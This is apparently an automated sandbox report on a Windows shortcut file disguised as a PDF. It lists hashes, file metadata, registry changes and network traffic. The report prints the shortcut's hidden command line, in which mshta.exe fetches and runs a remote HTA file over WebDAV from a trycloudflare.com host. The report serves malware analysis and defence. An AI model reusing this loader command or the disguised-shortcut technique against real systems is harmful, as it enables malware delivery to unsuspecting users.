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/8JSBNAKSA/RE_0749047823472748399023.pdf.lnk

Full analysis: https://app.any.run/tasks/aedb607e-2bee-488e-a00f-9afdd2171164
Verdict: Malicious activity
Analysis date: April 06, 2025, 13:53:27
OS: Windows 11 Professional (build: 22000, 64 bit)
Tags:
auto
generic
webdav
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe", EnableTargetMetadata, Archive, ctime=Wed Nov 13 03:14:06 2024, atime=Wed Nov 13 03:14:06 2024, mtime=Wed Nov 13 03:14:06 2024, length=32768, window=showminnoactive, IDListSize 0x013b, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\mshta.exe"
MD5:

60F56C9D99481DC72697EA09C306CB62

SHA1:

B971FEC4E17AE07854CAD4BE7356E8788707BFD4

SHA256:

612ACC08EE1248B586196128E1A29A5BFCE9740E9983EC31DF712F1F50783358

SSDEEP:

48:8FTLmzoTWzDYxVdaXuHHnRHtL2JqsrSQy+QdKdbLWVj:8FTLAoaQqunhtLCqsryDSbSVj

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  • MALICIOUS

    • GENERIC has been found (auto)

      • mshta.exe (PID: 3016)
  • SUSPICIOUS

    • Remote file execution via WebDAV

      • mshta.exe (PID: 3016)
    • Reads the Internet Settings

      • mshta.exe (PID: 3016)
  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 3016)
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No Malware configuration.

TRiD

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EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon, TargetMetadata
FileAttributes: Archive
CreateDate: 2024:11:13 03:14:06+00:00
AccessDate: 2024:11:13 03:14:06+00:00
ModifyDate: 2024:11:13 03:14:06+00:00
TargetFileSize: 32768
IconIndex: 11
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: mshta.exe
DriveType: Fixed Disk
DriveSerialNumber: 1CE9-5F0A
VolumeLabel: -
LocalBasePath: C:\Windows\System32\mshta.exe
RelativePath: ..\..\..\..\Windows\System32\mshta.exe
CommandLineArguments: "\\cayman-inter-descending-processed.trycloudflare.com@SSL\DavWWWRoot\ksa.hta"
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
MachineID: ec2amaz-1juf240
No data.
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Total processes
101
Monitored processes
1
Malicious processes
1
Suspicious processes
0

Behavior graph

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start mshta.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3016"C:\Windows\System32\mshta.exe" "\\cayman-inter-descending-processed.trycloudflare.com@SSL\DavWWWRoot\ksa.hta"C:\Windows\System32\mshta.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
11.00.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wldp.dll
c:\windows\system32\mshtml.dll
Total events
247
Read events
239
Write events
8
Delete events
0

Modification events

(PID) Process:(3016) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3016) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3016) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3016) mshta.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
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HTTP(S) requests
10
TCP/UDP connections
17
DNS requests
10
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3640
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
3640
svchost.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?08cb70d753b960df
unknown
whitelisted
1396
smartscreen.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
whitelisted
GET
200
184.24.77.4:80
http://www.msftconnecttest.com/connecttest.txt
unknown
whitelisted
4576
MoUsoCoreWorker.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?a6070d69cbcaa523
unknown
whitelisted
2768
svchost.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?3e0b4dd42efe063e
unknown
whitelisted
2768
svchost.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?c10bf6f6673bef07
unknown
whitelisted
2768
svchost.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?e8295883656f7dad
unknown
whitelisted
2768
svchost.exe
GET
200
199.232.214.172:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?3e4d47703098faed
unknown
whitelisted
2988
OfficeClickToRun.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
184.24.77.4:80
Akamai International B.V.
DE
unknown
3640
svchost.exe
40.126.31.3:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4576
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3640
svchost.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
whitelisted
4576
MoUsoCoreWorker.exe
199.232.214.172:80
ctldl.windowsupdate.com
FASTLY
US
whitelisted
3640
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
3952
svchost.exe
239.255.255.250:1900
whitelisted
2104
svchost.exe
23.197.158.158:443
fs.microsoft.com
AKAMAI-AS
US
whitelisted
1396
smartscreen.exe
172.205.80.42:443
checkappexec.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
VN
whitelisted
1396
smartscreen.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.102.100
  • 142.250.102.101
  • 142.250.102.113
  • 142.250.102.139
  • 142.250.102.102
  • 142.250.102.138
whitelisted
login.live.com
  • 40.126.31.3
  • 40.126.31.73
  • 20.190.159.73
  • 20.190.159.4
  • 40.126.31.129
  • 40.126.31.1
  • 20.190.159.64
  • 20.190.159.75
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
ctldl.windowsupdate.com
  • 199.232.214.172
  • 199.232.210.172
whitelisted
ocsp.digicert.com
  • 2.17.190.73
  • 2.23.77.188
whitelisted
fs.microsoft.com
  • 23.197.158.158
whitelisted
checkappexec.microsoft.com
  • 172.205.80.42
whitelisted
self.events.data.microsoft.com
  • 20.42.73.31
whitelisted

Threats

PID
Process
Class
Message
Misc activity
ET INFO Microsoft Connection Test
No debug info